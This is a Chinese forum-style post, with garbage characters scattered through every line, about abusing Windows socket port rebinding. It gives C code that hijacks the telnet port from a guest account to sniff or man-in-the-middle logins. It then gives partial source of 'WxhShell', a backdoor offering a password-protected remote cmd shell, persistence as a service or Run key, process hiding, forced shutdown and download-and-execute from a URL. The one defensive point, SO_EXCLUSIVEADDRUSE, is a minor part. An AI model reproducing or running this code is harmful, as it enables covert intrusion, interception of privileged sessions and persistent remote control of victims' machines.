在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
FqiCzP4 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
\>w[#4`m ]yN]^%PYH saddr.sin_family = AF_INET;
F#@Mf?#2
OWCd$c_( saddr.sin_addr.s_addr = htonl(INADDR_ANY);
%FGPsHH p^+k:E>U bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
i/*&; 1i9}mzy% 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
-[~ UX!XFM St/Hv[H'[E 这意味着什么?意味着可以进行如下的攻击:
Yt2_*K@rC RNuOwZ1m 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
;Gxp'y 3a9Oj'd1M 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
IuTZ2~ cS,(HLO91 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
zT0rvz1),M zt!mx{l' 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
.@.,D% 7< ?<,9X06dP 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
z>NRvx0 -yOrNir}W 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
.hlr)gF&) 'OSZ'F3PV 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
zl46E~"]x y[S5 #include
UDV,c o #include
2(LS<HqP[ #include
:h?"0, #include
{AqN@i DWORD WINAPI ClientThread(LPVOID lpParam);
B[ooT3V int main()
R>[2}R30 {
R_.C,mR ? WORD wVersionRequested;
?stx3sZ DWORD ret;
WA~|:S+ WSADATA wsaData;
bAt%^pc=y BOOL val;
^x%yIS SOCKADDR_IN saddr;
~!j1</$_ SOCKADDR_IN scaddr;
gA~BhDS int err;
0)-l9V SOCKET s;
Zse3e SOCKET sc;
b&~rZ int caddsize;
K
4I ?1 HANDLE mt;
{<ymL} DWORD tid;
nX<!n\J T wVersionRequested = MAKEWORD( 2, 2 );
n NZq`M err = WSAStartup( wVersionRequested, &wsaData );
$zbm!._~DA if ( err != 0 ) {
j/wG0~<kz printf("error!WSAStartup failed!\n");
\dCoY0Z ; return -1;
<6U{I ' }
$@+\_f'bU> saddr.sin_family = AF_INET;
H:4r6-{ 4VSIE"8e //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
%Vrl"4^}t lh3%2Dq$ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
^%|{>Mz;c saddr.sin_port = htons(23);
c, \TL
] if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
V:)k@W?P {
lQ!ukl) printf("error!socket failed!\n");
%Y:'5\^lC return -1;
>Be PE(k }
<^|8\<J val = TRUE;
I,QJ/sI //SO_REUSEADDR选项就是可以实现端口重绑定的
@~'c(+<3 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
8Z:NT_Ss {
uu1-` !% printf("error!setsockopt failed!\n");
~UB@IV6O return -1;
Sm;&2" }
0FsGqFt //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
{>fvyF //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
IfeG"ua| //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
.VuZ= (A\qZtnyl if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
8},!t\j#] {
SC74r?NFA ret=GetLastError();
yAG4W[ printf("error!bind failed!\n");
F N;X"it. return -1;
Erl"X}P }
ny'~pT'00 listen(s,2);
.@JXV
$Z while(1)
_
mhP:O {
jL^zS XQB caddsize = sizeof(scaddr);
6gY5v@!w //接受连接请求
rOE[c sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
k]`I3>/L if(sc!=INVALID_SOCKET)
LR]P? {
/@lXQM9T mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
GfD!Z3 if(mt==NULL)
G#@o6r {
v)!Rir5 printf("Thread Creat Failed!\n");
nORm7sa9 break;
XB UO }
M/:kh,3 }
{6~v oVkj CloseHandle(mt);
C^K?"800 }
F'*y2FC closesocket(s);
Tf
Q(f? WSACleanup();
25t2tj@S return 0;
sKB])mf] }
|L.QIr,jCC DWORD WINAPI ClientThread(LPVOID lpParam)
`Q<hL {AH {
C]K@SN$ SOCKET ss = (SOCKET)lpParam;
2TmQaDu%b SOCKET sc;
{jcrTjmxe unsigned char buf[4096];
^,
q\S SOCKADDR_IN saddr;
L9Z:>i? long num;
XWo:~\ DWORD val;
%L:e~* DWORD ret;
LtJ$ZE^GB //如果是隐藏端口应用的话,可以在此处加一些判断
`]_#_ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
VT?JTW saddr.sin_family = AF_INET;
tmDI2Z%7 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
NjMbQM4 saddr.sin_port = htons(23);
l131^48U if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
5Lo{\7% {
)/HSt%> printf("error!socket failed!\n");
mNc( return -1;
:@KWp{ D7 }
`XB(d@% val = 100;
VzA~w`$d if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
;<Oe\X {
{kD|8["Ie' ret = GetLastError();
5 .0BaVwi return -1;
=PP]LDlJs }
0yfmQ=,X if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~#h@.yW^JN {
8h=H\v^f ret = GetLastError();
R,x\VX!| return -1;
=7e~L 3 K }
36@)a5 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
`S2YBKz,1 {
/PE3>"|w E printf("error!socket connect failed!\n");
o_t2
Z closesocket(sc);
\kF}E3~+# closesocket(ss);
eA$9)K1GO return -1;
J~V`"uo }
e57}.pF^ while(1)
1>c`c]s3 {
}at8b ^ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
LUna stA^ //如果是嗅探内容的话,可以再此处进行内容分析和记录
Vx;f/CH3! //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Bbz#$M!: num = recv(ss,buf,4096,0);
.!\y<9 if(num>0)
1RY}mq send(sc,buf,num,0);
_FeLSk. else if(num==0)
1t+]r:{ break;
oil s;*q num = recv(sc,buf,4096,0);
~j^HDHY@ if(num>0)
T|GRkxd,E3 send(ss,buf,num,0);
,v4Z[ ( else if(num==0)
X4!`
V? break;
;-~Wfh+ }
~QJD.'z closesocket(ss);
?y>xC|kt closesocket(sc);
Se9I1~mX return 0 ;
:aV(i.LW
}
$u|p(E:* 4Smno%jq KXL]Qw FN ==========================================================
#*BcO-N QKL5!
L9` 下边附上一个代码,,WXhSHELL
#[vmS j/TsHJ= ==========================================================
>k<.bEx(A ?5K.#>{ #include "stdafx.h"
FTI[YR8?Y rV<yM$IA #include <stdio.h>
2P`hdg
#include <string.h>
bU/5ug. #include <windows.h>
^2mmgN #include <winsock2.h>
/0s1q #include <winsvc.h>
"[L[*>[9! #include <urlmon.h>
3v
:PBmE [h""AJ~t #pragma comment (lib, "Ws2_32.lib")
vRp =L54z #pragma comment (lib, "urlmon.lib")
/k|y \'< 'uGn1|Pvy #define MAX_USER 100 // 最大客户端连接数
3o9`Ko0 #define BUF_SOCK 200 // sock buffer
/ *Z(;- #define KEY_BUFF 255 // 输入 buffer
T3u%V_ }\|$8~ #define REBOOT 0 // 重启
Lfx&DK ! #define SHUTDOWN 1 // 关机
qXR>Z=K< 5rRYv~+ #define DEF_PORT 5000 // 监听端口
M&Sjo' ( . h`-aO u #define REG_LEN 16 // 注册表键长度
C|5eV=f)P #define SVC_LEN 80 // NT服务名长度
lsU|xOB MLtfi{;LH // 从dll定义API
jY-{hW+r typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
6AKH0t|4 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
u3(zixb typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Q@6OIE typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
P6&@fwJ< zGHP{a1O7 // wxhshell配置信息
j!B+Q struct WSCFG {
;g?oU"Y M int ws_port; // 监听端口
JOS,>;;F4 char ws_passstr[REG_LEN]; // 口令
{1li3K&0s int ws_autoins; // 安装标记, 1=yes 0=no
><}FyK4C char ws_regname[REG_LEN]; // 注册表键名
&?f{. char ws_svcname[REG_LEN]; // 服务名
cW4:eh char ws_svcdisp[SVC_LEN]; // 服务显示名
0(VAmb%{ char ws_svcdesc[SVC_LEN]; // 服务描述信息
GKu@8Ol-wu char ws_passmsg[SVC_LEN]; // 密码输入提示信息
&Ey5 H?U! int ws_downexe; // 下载执行标记, 1=yes 0=no
-'QvUHL| char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Ac0C,*|^ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
mw! D| 1q]V/V} };
5, R\tJCK }]$%aMxy T // default Wxhshell configuration
AWsO?|YT struct WSCFG wscfg={DEF_PORT,
qX^#fk7] "xuhuanlingzhe",
N%v}$58Z 1,
\`}Rdr!p% "Wxhshell",
k"Y9Kc0XoU "Wxhshell",
U']DB h "WxhShell Service",
9G_bM(q'^2 "Wrsky Windows CmdShell Service",
8VQJUwf; "Please Input Your Password: ",
J3KY?,g3O_ 1,
mRZC98$ @r "
http://www.wrsky.com/wxhshell.exe",
Y*/:IYr` "Wxhshell.exe"
3?iRf6;n };
.0k ltnB tsVQXvo // 消息定义模块
/k qW char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
OJPxV~y char *msg_ws_prompt="\n\r? for help\n\r#>";
/)sA{q
4 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
mnZ/rb char *msg_ws_ext="\n\rExit.";
~B;kFdcVXn char *msg_ws_end="\n\rQuit.";
3[B*l@}j char *msg_ws_boot="\n\rReboot...";
(Gr8JpV char *msg_ws_poff="\n\rShutdown...";
O]>9\!0{ char *msg_ws_down="\n\rSave to ";
4|YCBXWh r1b{G%;mJ char *msg_ws_err="\n\rErr!";
;wwhW|A char *msg_ws_ok="\n\rOK!";
8!2NZOZOS 9\ZlRYnc= char ExeFile[MAX_PATH];
Pz7{dQqjk# int nUser = 0;
%K8Ei/p\t] HANDLE handles[MAX_USER];
4*'5EBa1 int OsIsNt;
.lAqD-
_+[;NBz SERVICE_STATUS serviceStatus;
k FE2Vv4. SERVICE_STATUS_HANDLE hServiceStatusHandle;
uCO-f<b [[2Zcz: // 函数声明
n[8ju,= int Install(void);
smvIU0:K int Uninstall(void);
Tj7OV}: int DownloadFile(char *sURL, SOCKET wsh);
649{\;*4 int Boot(int flag);
LsH&`G^< void HideProc(void);
4Xt.}S! int GetOsVer(void);
}tA77Cm)45 int Wxhshell(SOCKET wsl);
j hf%ze void TalkWithClient(void *cs);
1;?n]L`T int CmdShell(SOCKET sock);
JX8Hn | int StartFromService(void);
Zz}Wg@&
int StartWxhshell(LPSTR lpCmdLine);
KI)jP(( Oya:{d&= VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
9Jd{HI= VOID WINAPI NTServiceHandler( DWORD fdwControl );
>
2_xRn<P 2k;>nlVxX // 数据结构和表定义
RnC96"";R. SERVICE_TABLE_ENTRY DispatchTable[] =
s ;EwAd( {
/.B7y( {wscfg.ws_svcname, NTServiceMain},
lx_jy>$}r {NULL, NULL}
VM=A#} };
uJ<nW%} lVF}G[B // 自我安装
"#1KO1@G int Install(void)
e/hA> {
f'&30lF char svExeFile[MAX_PATH];
Br^4N9 HKEY key;
tS#=I.ET strcpy(svExeFile,ExeFile);
&XAG|
# QY2/mtI // 如果是win9x系统,修改注册表设为自启动
29 {Ep if(!OsIsNt) {
0,$eiY)u$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Z Ear~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
{=mf/3.r RegCloseKey(key);
K"4m)B~@Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Lt`d
{s RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
uc;1{[5`1q RegCloseKey(key);
\GhL{Awv&a return 0;
h0}r#L }
4UwXrEQp }
u~SvR~OE }
Wy1#K)LRb else {
&Ui*w% IxN0m7 // 如果是NT以上系统,安装为系统服务
7|Z=#3INw SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
_+Tq&,_:o if (schSCManager!=0)
^ [FK<9 {
\AFoxi2h SC_HANDLE schService = CreateService
kS_oj (
S}L$-7Ct schSCManager,
r:pS[f|4\ wscfg.ws_svcname,
Mbbgsy3W wscfg.ws_svcdisp,
~*"]XE?M SERVICE_ALL_ACCESS,
;#-yyU SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
dxHKXw SERVICE_AUTO_START,
%c+`8 wj SERVICE_ERROR_NORMAL,
12l-NWXf svExeFile,
u\-WArntc NULL,
ueI1O/Mi NULL,
' cM2]< NULL,
Nl"Xl?y} NULL,
.Uk ejx NULL
A"|y< );
l
Ozi| if (schService!=0)
Rdb[{Ruxb {
<X@XbM CloseServiceHandle(schService);
EJC{!06L'/ CloseServiceHandle(schSCManager);
)}ygzKEa strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Jv_KZDOdk strcat(svExeFile,wscfg.ws_svcname);
2XoFmV),F if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
E|R^tETb RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Dxp8^VL RegCloseKey(key);
JF{yhx,+p return 0;
U~9Y9qzy, }
%#5\^4$z|N }
X}"Ic@8 CloseServiceHandle(schSCManager);
D*7JE }
/mS|Byx }
kpF")0qr %LI[+#QE return 1;
&n6'r^[D }
B$ty`/{w,B mEK0ID\ // 自我卸载
,Sz`$'^c int Uninstall(void)
NMaZ+g!t( {
x<&2`= HKEY key;
Std?p{
i bcx,Kb if(!OsIsNt) {
:mP%qG9U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
z=\y)'b RegDeleteValue(key,wscfg.ws_regname);
etnq{tE5 RegCloseKey(key);
JSXJlau if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
%@C(H%obWd RegDeleteValue(key,wscfg.ws_regname);
I^}q;L![\ RegCloseKey(key);
++>HU{ return 0;
9)c{L<o}T }
7Iz%Jty }
d7,ZpHt }
hM_0/o- else {
"gt-bo., R'Gka1v SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
,<Ag&*YE4 if (schSCManager!=0)
MTnW5W-r9 {
FYwMmb
~3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Tt;h? if (schService!=0)
h=?V)WSM {
PhUG}94 if(DeleteService(schService)!=0) {
Go^a~Sf$ CloseServiceHandle(schService);
XK*55W&og CloseServiceHandle(schSCManager);
=w&bS,a"y return 0;
]81t~t9LQ }
4lM)ZDg CloseServiceHandle(schService);
.qd/ft2 }
seQSDCsvw* CloseServiceHandle(schSCManager);
t(~V:+W 9 }
`(- nSQ }
Np2I*l6W ,Yp+&&p. return 1;
8m prK`p }
&*Sgyk
o` ;+-@AYl // 从指定url下载文件
Fx@ovI- 5 int DownloadFile(char *sURL, SOCKET wsh)
u"$=:GK {
7LFJi@*8 HRESULT hr;
F.rNh`44 char seps[]= "/";
OM>,1;UH] char *token;
YLXLaC[ char *file;
A{Kc"s4fO char myURL[MAX_PATH];
:.VI*X:aQh char myFILE[MAX_PATH];
V
yOuw9 z`}<mY
E strcpy(myURL,sURL);
%>];F~z token=strtok(myURL,seps);
0 _n
Pq while(token!=NULL)
(7X|W<xT {
RJp Rsr
file=token;
6%-RKQi token=strtok(NULL,seps);
L'Yg$9 Vz }
|]M|IX8
o kVmRv.zZ GetCurrentDirectory(MAX_PATH,myFILE);
9V'ok.B.x strcat(myFILE, "\\");
CI#6r8u strcat(myFILE, file);
JJQS7,vG send(wsh,myFILE,strlen(myFILE),0);
QLPb5{>KDS send(wsh,"...",3,0);
iH`Q4 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
*dAQ{E(rO if(hr==S_OK)
*XU2%"Sc return 0;
N1',`L5 else
X_3*DqY return 1;
-n:~m
p AT:L&~O. }
i?3~Gog " jBc5* // 系统电源模块
u?Uu>9@Z int Boot(int flag)
xS'Kr.S
{
h&|S* HANDLE hToken;
ShIJ6LZ TOKEN_PRIVILEGES tkp;
?5IF;vk !=3Ce3- if(OsIsNt) {
w *pTK + OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
sBq-"YcjR LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
m{w'&\T tkp.PrivilegeCount = 1;
BNw};.lO tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
69"4/n7B? AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
u\y$< if(flag==REBOOT) {
GXnrVI if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
;],Js1m return 0;
ke)}JU^" }
@zCp/fo3 else {
?Tlt(%f if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
u\AL`'v return 0;
7WMF8(j5 }
nb~592u }
"-
?uB Mz else {
n1Wo<$# if(flag==REBOOT) {
v[2N- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
'8"nXuL- return 0;
eY V Jk7 }
Ylhy Z&a, else {
zl3GWj|?\7 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
RxYC]R^78 return 0;
;Tec)Fl }
e~ZxDAd }
t?(fDWd|- "?M)2,:A return 1;
)Tl]1^ }
9*2Q'z}_ =T- jG_.H // win9x进程隐藏模块
Y-s6Z\ void HideProc(void)
Yh["IhjR {
jX;$g>P nZX`y
-AZ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
XOoz.GSQ if ( hKernel != NULL )
\v_R]0m\ {
6pdek3pOCt pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
}rQ0*h ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
3^,p$D<T:, FreeLibrary(hKernel);
!"LFeqI$lr }
0O!A8FA0 |4j'KM;U return;
bIXD(5y }
RgD %pNhI iOB*K)U1 // 获取操作系统版本
$Xr4=9(|7 int GetOsVer(void)
;r BbLM` {
FmhT^ OSVERSIONINFO winfo;
4g)$(5jI} winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
!DkIM}. GetVersionEx(&winfo);
F|&%Z(@a if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
4d8}g25C return 1;
+&4@HHU{G else
&U_T1-UR2 return 0;
mM2DZ^"j( }
EEP&Y? 1l s 8 h // 客户端句柄模块
~hb;kc3 int Wxhshell(SOCKET wsl)
8
+mW {
&e3pmHp' SOCKET wsh;
(,R\6 struct sockaddr_in client;
A\})H DWORD myID;
7?ILmYBw 0C4Os p while(nUser<MAX_USER)
AbL(F#{ {
b=kY9!GN,v int nSize=sizeof(client);
L>n^Q:M wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
%RIlu[J if(wsh==INVALID_SOCKET) return 1;
Rxq4Diq5k gbu*6&j9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
fC+tu>= if(handles[nUser]==0)
+fN2%aC closesocket(wsh);
?!u9=?? else
~cf)wrP nUser++;
K?u:-QX^ }
Ie}7#>S WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
sitgz)Ki^
Q">wl return 0;
7|k2~\@q }
e\._M$l K_fJ{Vc>O // 关闭 socket
Flaqgi/j void CloseIt(SOCKET wsh)
\rY\wa {
2S//5@~_m closesocket(wsh);
E %?>
%h nUser--;
Xdh@ ^` ExitThread(0);
;;N#'.xD }
jfYM*% 5`QfysR5 // 客户端请求句柄
kyf(V)APPu void TalkWithClient(void *cs)
LX}|%- iv {
y*E{X G_}oI|B SOCKET wsh=(SOCKET)cs;
44pVZ5c char pwd[SVC_LEN];
`_x#`%!#2 char cmd[KEY_BUFF];
,xutI char chr[1];
M hjIE<OI= int i,j;
X([@}ren 75iudki while (nUser < MAX_USER) {
{<zE}7/2- wj8\eK)]L if(wscfg.ws_passstr) {
BkB9u&s^ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
X=? \A{Y //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
| Pqs)Mb] //ZeroMemory(pwd,KEY_BUFF);
ypNeTR$4 i=0;
; hU9_e while(i<SVC_LEN) {
i "aQm .uB[zJc // 设置超时
C't%e fd_set FdRead;
6n/KL struct timeval TimeOut;
;x&3tN/I FD_ZERO(&FdRead);
jX,A. FD_SET(wsh,&FdRead);
c^R "g)gr TimeOut.tv_sec=8;
`(]mUW TimeOut.tv_usec=0;
ceLr;}?Ws int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
GuF-HP}xM if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
%;#9lkOXWH I*KJq?R if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
D=B :tP pwd
=chr[0]; &`_|[Y ]H
if(chr[0]==0xd || chr[0]==0xa) { _zLEHEZ-
pwd=0; .UU)
break; '.e5Ku
} +A%zFF3
i++; 3*R(&O6}
} ;1k_J~Qei
Q;@w\_OR
// 如果是非法用户,关闭 socket xEB4oQ5
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]0pI6"
} DvTbt?i[
aqwW`\
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Lve$H(GHT
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BbI),iP
}dSFv
while(1) { nb@<UbabW}
ZRUA w,T *
ZeroMemory(cmd,KEY_BUFF); 4VzSqb
tfv@
)9
// 自动支持客户端 telnet标准 fVq,?
j=0; XX*f
while(j<KEY_BUFF) { F|&mxsL
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M+4S >Sjw
cmd[j]=chr[0]; M<@9di7c
if(chr[0]==0xa || chr[0]==0xd) { r?x~`C
cmd[j]=0; z=LO$,JW`
break; /Wy9".
} G+iJS!=
j++; B,Jn.YX
} l4OPzNc'
*}LQZFrnX
// 下载文件 _K~?{".
if(strstr(cmd,"http://")) { +*RpOtss
send(wsh,msg_ws_down,strlen(msg_ws_down),0); bL5dCQxty
if(DownloadFile(cmd,wsh)) S1!_ IK$m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %;` 3I$
else V{0 V/Nv
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7wqD_Xr
} Z8pZm`g)T
else { Kw>gg
E}]SGU"
switch(cmd[0]) { qche7kg!a
tI2p-d9B
// 帮助 Pv@;)s(-
case '?': { EKT"pL-EY
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b;I!CyD
break; Bc#6mO-
} +Jc-9Ko\c;
// 安装 FRTvo
case 'i': { #p=Wt&2
if(Install()) F#{PJ#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); U3w*z6OG
else r3.v ^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wD[qE
break; hpticW|
} >2)!w
// 卸载 zyI4E\
case 'r': { x[%% )[d
if(Uninstall()) =`%%*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {XYf"ONi
else $Vm J[EF1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3K_!:[
break; J~G"D-l<9/
} +z\O"zlj
// 显示 wxhshell 所在路径 .]Z,O>N
case 'p': { {c$%3iQq
char svExeFile[MAX_PATH]; B Zw#ACU
strcpy(svExeFile,"\n\r"); _d<\@Tkw
strcat(svExeFile,ExeFile); #60<$HO:Z
send(wsh,svExeFile,strlen(svExeFile),0); 4>@-1nt}
break; NPR{g!tK%
} ?Qs>L~
// 重启 ZZ6F0FLXJ
case 'b': { Z8Clm:S
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); or]s
if(Boot(REBOOT))
@KYmkxW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dzMI5fA<_
else { ~LzTqMHM
closesocket(wsh); ]0:R^dHE
ExitThread(0); :Zd# }P
} K#{E87G(
break; :ui1]its4
} XC{(O:EG
// 关机 Wkv**X}
case 'd': { HM1y$ej
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j|WaWnl=
if(Boot(SHUTDOWN)) u]cnbm
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )u&_}6z
else { O"9f^y*
closesocket(wsh); (;h]'I@
ExitThread(0); +=@Z5eu
} tdr*>WL
break; ;3sT>UB
} |@-WC.
// 获取shell 5tl}rmI`
case 's': { zFuUv_t
CmdShell(wsh); [%nG_np
closesocket(wsh); 0QIocha
ExitThread(0); qkUr5^1
break; @+X}O/74
} r5iO%JFg
// 退出 U w`LWG3T
case 'x': { +msHQk5#$m
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |_2ANWHz
CloseIt(wsh); nZ7v9o9
break; M7Hk54U+t
} 5\Y/s o=
// 离开 0_D~n0rq,v
case 'q': { ,n!xzoX_
send(wsh,msg_ws_end,strlen(msg_ws_end),0); #-HN[U?Gs
closesocket(wsh); =\%>O7c,8Y
WSACleanup(); lE|T'?/
exit(1); 3Ob"r`
break; -;`W"&`ss
} ^Q :K$!
} nLfnikw&
} *E)Y?9u"
}5tn
// 提示信息 AYZds >#Q
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -6tF
} x(7K3(#|
} C aJD*
b);}x1L.T
return; QT&{M
#Ydn
} #=.h:_9
#Aan v
// shell模块句柄 0~1P&Qs<
int CmdShell(SOCKET sock) VDmd+bvJV
{ c\b>4 &n
STARTUPINFO si; !Z'm@,+
ZeroMemory(&si,sizeof(si)); %<muVRkB\
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GyPN)!X@.&
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :A{-^qd(
PROCESS_INFORMATION ProcessInfo; !yI)3;$*
char cmdline[]="cmd"; TQ2Tt"
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8c|IGC
return 0; \4p<;$'
} G\NCEE'A
+Ae.>%}
// 自身启动模式 >SGSn/AJi
int StartFromService(void) er#=xqUY
{ hW+Dko(s
typedef struct 1a!h&!$9
{ T+ t-0k
DWORD ExitStatus; L
wu;y@[
